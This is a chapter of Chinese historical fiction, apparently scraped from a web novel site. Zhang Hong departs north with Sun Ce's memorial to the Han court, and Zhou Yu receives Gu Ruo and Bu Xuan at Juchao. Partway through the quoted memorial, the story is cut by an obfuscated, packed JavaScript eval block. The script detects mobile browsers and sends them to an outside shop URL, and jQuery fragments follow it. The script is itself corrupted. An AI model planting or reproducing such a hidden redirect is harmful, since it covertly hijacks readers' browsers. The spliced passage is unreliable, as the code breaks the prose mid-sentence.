方至吳縣西城，便見張紘、朱治等臣皆侯於道旁相迎。其身後還站著張明宜、朱然、胡綜等少年姑娘，以及徐詳。
辛夷與孫儼先行下馬，赴與朱然等人相聚，未見孫權，他三人皆有疑色，但思孫權是陽羨縣長，多半留於任地，倒能理解。
張紘雙手奉書帛，朗聲道：“紘願受將軍之命，赴往許都拜謁朝廷，表儘忠心。”
孫策勒韁垂思，道：“善。”
張紘將手中書帛呈與孫策查閱，孫策忽掀眸凝視他，“此去中原，願卿保重。”孫策能聊到，張紘前去許都，必然被曹操扣留，歸途未知。
張紘眸光堅毅，縱然身後的女兒明宜滿目不舍，卻依舊無法阻擋他為江東謀事之心：“中原千年輕江東，此行，我必將一試。還望將軍，若來年相峙南北，休要念我之命。”
“子綱先生……”孫策忍眸握拳，去年朝廷任命來至，不過與他一區區騎都尉，天使補的那官職，也隻是代理之意，他如今，並非名正言順，必得再遣使者往朝廷。
此前派去的那兩位，再沒有回來。是被曹操扣留也好、貪戀許都官職也罷，他並不希望這次是張紘前去。
可正如張紘所言，中原輕江東已千年，無論是何江東名士前去拜謁，必遭冷眼。唯獨，他麾下這二位張先生，俱為江北名士。
張紘明白，張昭留於孫策身邊，更益開疆辟土。而他善內政，如此節骨眼，定是舍內開外為重。必是他去行此路。
孫策將會稽太守及明漢將軍印蓋於書帛之上，則此書文，便為奏章。
其間寫道："臣以固陋，孤特邊陲。陛下廣播高澤，不遺細節，以臣襲爵，兼典名郡。仰榮顧寵，所不克堪。興平二年十二月二十日，於吳郡曲阿得袁術所呈表，以臣行殄寇將軍；至被詔書，乃知詐擅。雖輒捐廢，猶用悚悸。臣年十七，喪失所怙，懼有不任堂構之鄙，以忝析薪之戒，誠無去病十八建功，世祖列將弱冠佐命。臣初領兵，年未弱冠，雖駑懦不武，然思竭微命。惟術
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13167272|129258||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
狂惑，為惡深重。臣憑威靈，奉辭伐罪，庶必獻捷，以報所授。"
孫策知此奏章句句用心，竭力表其大漢忠心，再有張紘親自奉詔入許都，於其斡旋，則漢廷或授其大任，才得名正言順。
孫策下令大開將軍府及吳郡郡守府庫藏，但吳郡太守朱治早已將之備好，儘是東海珍稀珠寶等稀世之物，一並托付張紘，北上中原進貢朝廷。
這些珍寶於孫策而言不過物什，但中原稀缺，以為價高，倒是毫不吝惜，悉數取之，似是早已有準備。
張紘攜奏章與貢物，單騎將行，辭彆孫策及諸臣。朱治不僅為府君，也為他的親家公，不免難忍此彆離：“先生此去，萬事小心。”
張紘撫須笑道：“府君不必擔憂，紘定安然歸來江東。”
朱治無奈歎息，朱然不知如何表達言語，明宜哭啼難止：“阿翁……”
“宜兒休憂。”張紘溫聲安撫女兒，又凝眸打量她身旁的朱然，他已年十七，雖身量不高，但已稚氣儘脫，儀表堂堂。
“義封，將宜兒托付與你，我甚是放心。”張紘捋須長歎，他膝下唯此一女，雖素來嚴厲，卻是他最柔軟之處，留明宜於吳縣，亦是對孫策麾下諸臣的一個表態，他定會歸來。由是，無人有異議。
明宜追父親一馬一人之影直至五裡亭外，朱然護她身側，將她擁入懷中，親吻額頭：“彆擔心，有我一直在，陪你等嶽父歸來。”
“嗯……”明宜抹去淚水，收回視線，疑惑道：“此行竟未見練師與仲謀，甚是蹊蹺。”
“我瞧辛夷麵色冷白，情況恐不妙，且歸去。”朱然輕攬明宜肩側，護她緩歸吳縣城中。
大江西岸，步翾橫渡臨岸，攜顧若、袁楚抵達居巢縣，彼時周瑜攜親信於碼頭迎候，但見顧若，含笑開懷相迎。
船方靠岸，尚未穩止，顧若激動地衝撲到周瑜懷裡，將他緊緊纏住，咽嗚不止，清淚浸濕麵紗，簾帷下梨花帶雨，我見猶憐。
周瑜緊將妻子抱在懷中，貼在她耳邊柔聲呢喃，一彆三年，如已滄海桑田，情意愈濃，纏綿悱惻。
哄慰顧若後，周瑜攬她於身側，拱手與步翾道：“子羽，且歸府中一敘！”
步翾拱手而應，顧若回步攬袁楚，邀她共入府，卻未注意周郎神色有些驚愕，似是察覺到什麼。
周瑜舉觴敬步翾，卻心事重重：“今袁術據廬江、淮南而僭號，此地、終不得安。”
步翾朗聲笑回敬：“來路，願與周郎共。”
廬江郡此時尚歸袁術所轄，而袁術謀逆稱帝、又大敗於袁術，周瑜這個廬江郡居巢縣長，算下來，可謂‘亂臣賊子’。
“子羽且歸舒縣，攜橋太夫人及小妹來居巢，隨我共赴江東！”周瑜輕捋美須髯，羽扇綸巾溫文儒雅。
顧若取下鬥篷，拭淚凝眸，輕輕盤抱在周瑜腰間，酥蠕翻身，仰頭凝睇，如嬌羞的五月海棠花，顧盼流情：“子羽快去舒縣，休要擾我才是。”
“若兒，休得……”周瑜麵色微紅，欲嗬斥卻舍不得。
步翾哽了半晌，楚楚不免側眸休視，顧若又支起身子道，嬌嗔道：“休得如何？子羽可不是外人。”
步翾緩步起身，卻被周瑜喚止：“若兒，帶楚姑娘去偏堂相候，我有要事與子羽相議。”
顧若歪頭打量周瑜神色，知他確有要事，倒不再胡鬨，起身慵慵，攜楚楚娉婷離開。
待兩位女子身影杳渺，周瑜蹙眉慎問：“子羽，可知那楚姑娘姓甚名誰，是何家女子？”
步翾搖頭：“不知巨細。”
“那，為何帶她於身旁。”周瑜麵色凝重，手指輕敲，卻見步翾淡然而道：“路中相救，我見她孤苦無依，總不好棄她於野。”
周瑜起身與步翾走近，與他耳側不過三尺，低聲肅道：“我知她是何人。”
“如何？”步翾疑問。